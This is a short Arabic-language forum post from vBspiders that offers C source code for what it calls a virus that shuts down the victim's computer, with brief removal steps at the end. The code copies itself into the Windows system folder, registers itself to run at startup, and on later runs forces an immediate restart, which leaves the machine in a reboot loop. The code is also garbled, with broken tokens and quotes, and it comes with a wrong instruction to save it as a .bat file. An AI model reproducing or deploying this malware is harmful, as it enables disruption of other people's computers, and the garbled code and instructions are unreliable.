فيروس يطفئ جهاز الضحية

[CODE3]

Code:


Quote:
#include<stdio.h>
#include<dos.h>
#include<dir.h>

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(”C:\\windows\\system”,&ffblk,FA_DIR EC); //to determine the root drive
if(done==0)
{
done=findfirst(”C:\\windows\\system\\sysres.exe”,& ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(”D:\\windows\\system”,&ffblk,FA_DIR EC);
if(done==0)
{
done=findfirst(”D:\\windows\\system\\sysres.exe”,& ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(”E:\\windows\\system”,&ffblk,FA_DIR EC);
if(done==0)
{
done=findfirst(”E:\\windows\\system\\sysres.exe”,& ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(”F:\\windows\\system”,&ffblk,FA_DIR EC);
if(done==0)
{
done=findfirst(”F:\\windows\\system\\sysres.exe”,& ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
case 1:
target=fopen(”C:\\windows\\system\\sysres.exe”,”wb ”); //to place a copy of itself in a remote place
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(”D:\\windows\\system\\sysres.exe”,”wb ”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(”E:\\windows\\system\\sysres.exe”,”wb ”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(”F:\\windows\\system\\sysres.exe”,”wb ”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(”shutdown -r -t 0?); //if the system is already infected then just give a command to restart
}



أحفظ الكود بالمفكرة بامتدادbat

لمسح الفيروس من جهازك
1. Reboot your computer in the SAFE MODE

2. Goto X:\Windows\System (X can be C,D,E or F)

3. You will find a file by name sysres.exe, delete it.
4.Type regedit in run.
You will goto registry editor. Here navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run


تحياتي أخوكمcode3

المصدر: :: vBspiders Professional Network ::

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